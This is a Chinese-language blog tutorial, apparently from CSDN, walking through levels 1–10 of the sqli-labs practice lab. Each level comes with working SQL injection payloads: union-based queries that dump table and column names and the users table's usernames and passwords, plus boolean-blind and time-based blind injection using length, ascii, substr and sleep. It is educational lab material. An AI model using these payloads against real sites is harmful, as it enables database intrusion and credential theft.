Sqlilabs靶场1-10关详解(Get请求式)

sqlilabs用到的是mysql数据库,mysql5.0以上版本自带的数据库是information_schema,其下有tables和columns两个表
tables表中的table_name字段下是所有数据库存在的表名
table_schema字段下是所有表名对应的数据库名。
columns表中的column_name字段下是所有数据库存在的字段名。columns_schema字段下是所有表名对应的数据库


Sqlilabs第一关

判断sql语句是字符型还是数值型

# 尝试单引号注入,看回显信息;发现是字符型后台数据库通过单引号进行闭合
http://10.10.10.129/Less-1/?id=1' 

之后通过注释符--+将其后面的注释掉,发现页面正常回显
http://10.10.10.129/Less-1/?id=1' --+

 因此我们通过联合查询(将两个sql语句一起查询)实施进一步注入

union联合注入

先判断后台数据库表中的列数

通过尝试取3或者以内的值时,不报错;超过3之后就报错;说明此表有三列
http://10.10.10.129/Less-1/?id=1' order by 3 --+
通过union查询爆出页面中显示的字段位置,发现2和3列分别会显示在name和password上
并且要想执行union后面的语句,前面必须让其执行错误,因此我们将其改为-1
http://10.10.10.129/Less-1/?id=-1' union select 1,2,3 --+

 通过mysql函数来获得数据库及其版本号:security
http://10.10.10.129/Less-1/?id=-1' union select 1,database(),version() --+

 通过group_concat函数开始手工报他的表名;看看数据库中都有哪些表
# information_schema.tables 表示元数据下的tables表
# where+条件
# group_concat(table_name)表示将查询到的结果连接起来
# 下方payload的意思是:查询information)_schema数据库下的tables表且table_schema字段内容是security的所有table_name的内容

Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

 通过上面的信息我们发现security库中有四个表,users表中极有可能存放用户登陆账号和密码
# 下方构造的payload同上意思差不多,就是从元数据库中爆users表的字段名
# 我们发现users表中的三个字段

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

# 下方payload是用来1宝出users表中的数据的通过group——concat函数进行拼接;其中0x7e是波浪号用来分割username和password的数据
http://10.10.10.129/Less-1/?id=-1' union select 1,2,group_concat(username,0x7e,password) from users --+

Sqlilabs第二关

通过单引号测试我们发现他是数值型
http://10.10.10.129/Less-2/?id=1'

# 之后的过程和第一关同理
http://10.10.10.129/Less-2/?id=1 order by 3
http://10.10.10.129/Less-2/?id=-1 union select 1,2,3
http://10.10.10.129/Less-2/?id=-1 union select 1,database(),version()
http://10.10.10.129/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
http://10.10.10.129/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
http://10.10.10.129/Less-2/?id=-1 union select 1,2,group_concat(username ,0x3a, password) from users

Sqlilabs第三关

通过单引号注入时的错误回显,我们发现后台数据库是通过')来闭合的
http://10.10.10.129/Less-3/?id=1'

# ')注入成功,回显正常
http://10.10.10.129/Less-3/?id=1') --+

# 之后往出爆数据的流程同上
http://10.10.10.129/Less-3/?id=1') order by 3 --+
http://10.10.10.129/Less-3/?id=-1') union select 1,2,3--+
http://10.10.10.129/Less-3/?id=-1') union select 1,database(),version()--+
Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
http://10.10.10.129/Less-3/?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

Sqlilabs第四关

通过反斜杠的错误注入;我们可以从错误回显中发现它是通过")来闭合的
http://10.10.10.142/Less-4/?id=1\

# 之后的注入都一样同上,不做过多的赘述
http://10.10.10.142/Less-4/?id=1") order by 3 --+
http://10.10.10.142/Less-4/?id=-1") union select 1,2,3--+
http://10.10.10.142/Less-4/?id=-1") union select 1,database(),version()--+
Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
http://10.10.10.142/Less-4/?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

Sqlilabs第五关

此关卡虽然是字符型且单引号闭合,但是不同于上几关卡的是只显示请求的对错,而其他错误信息不会显示在前端界面因此union联合注入是用不了的,不信你可以试试
因此针对只显示对错,不显示相关数据的;我们可以通过布尔盲注来进行爆库

布尔盲注主要用到length(),ascii(),substr()三个函数
# length()函数确定字符串长度
# substr(字符串,开始截取的位置,截取的个数):截取字符串
# ascii():获取字符串的ASCII码值,字符对应的具体ASCII码大家可以百度下
当length>7时回显正常,但是大于8时报错;说明数据库长度为8(大于号,小于号,等号都可以尝试,主要是通过其判断数据库的长度),此靶场数据库为security,所以长度为length=8
http://10.10.10.142/Less-5/?id=1' and length((select database()))=8 --+
或者
我们通过判断语句and if来判断;意思为如果length=8,那么执行sleep10秒否则为空
http://10.10.10.142/Less-5/?id=1' and if(length(database())=8,sleep(10),null) --+    
# substr("78909",1,1)=7 
# substr(a,b,c)  
# a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符
http://10.10.10.142/Less-5/?id=1' and ascii(substr((select database()),1,1))=115 --+
或者
#通过and if 判断语句来判断长度,长度正确的话延时2秒,如下图
http://10.10.10.142/Less-5/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(2),1)--+

 

# 判断所有表名字符长度
Less-5/?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>20--+
# 逐个字符判断表名长度
Less-5/?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>666--+
# 判断所有字段名的长度
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
# 逐个字符判断字段名
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
#判断字段内容长度
?id=1' and length((select group_concat(username,password) from users))>109--+
# 逐一检测内容
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+

Sqlilabs第六关

如果说第五关是单引号‘注入;那么第六关经过探测,则为双引号“注入其他和第六关方法一样

Sqlilabs第七关

我们通过单引号’和双引号探测时发现单引号‘时报错,因为单引号破坏了其语法结构;然而双引号没报错“说明他是单引号闭合的,
通过’ --+  报错; 
‘)--+  报错 ;   
’))--+   正常回显,页面正常
http://10.10.10.142/Less-7/?id=1')) --+
之后过关手法和之前都一样了,选择布尔盲注进行一步一步拆解爆库

Sqlilabs第八关

第八关是单引号字符闭合和第五关一样;通过布尔盲注爆库
http://10.10.10.142/Less-8/?id=1' --+

Sqlilabs第九关

第九关无论我们输入什么,页面始终如一,此时的布尔盲注就用不了了:布尔盲注适合于页面对于错误和正确结果有不同反应,在页面不变的情况下,我们可以使用时间注入,时间注入和布尔盲注相差无几,只是时间盲注使用的是if和sleep()函数;if(a,sleep(10),1),如果a为真那么执行slee()页面延迟10秒,如果a为假,则执行1,不延迟。

通过页面延迟的时间长短来判断id参数是单引号字符串
http://10.10.10.137/Less-9/?id=1' and if(1=1,sleep(10),1) --+

通过界面耗时,我们判断出database长度为8(大于7有延迟,大于八没延迟)
http://10.10.10.137/Less-9/?id=1' and if(length((select database()))>7,sleep(10),1) --+

# database():获取函数名
# substr(字符串,开始截取的位置,截取的个数):截取字符串
# ascii():获取字符串的ASCII码值,字符对应的具体ASCII码大家可以百度下
# 延时10秒,因为它的数据库security第一个s的ASCII码值为115所以当条件正确时候会执行sleep语句

逐一判断数据库字符
http://10.10.10.137/Less-9/?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(10),1) --+

判断所有表名长度
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(10),1)--+
逐一判断表名
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where  table_schema=database()),1,1))>99,sleep(5),1)--+
判断所有字段名的长度
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
逐一判断字段名。
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
判断字段内容长度
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
逐一检测内容
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+

Sqlilabs第十关

第十关通过双引号进行时间盲注,其他的和第九关一样
http://10.10.10.137/Less-10/?id=1" and if(1=1,sleep(10),1) --+

  • 3
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值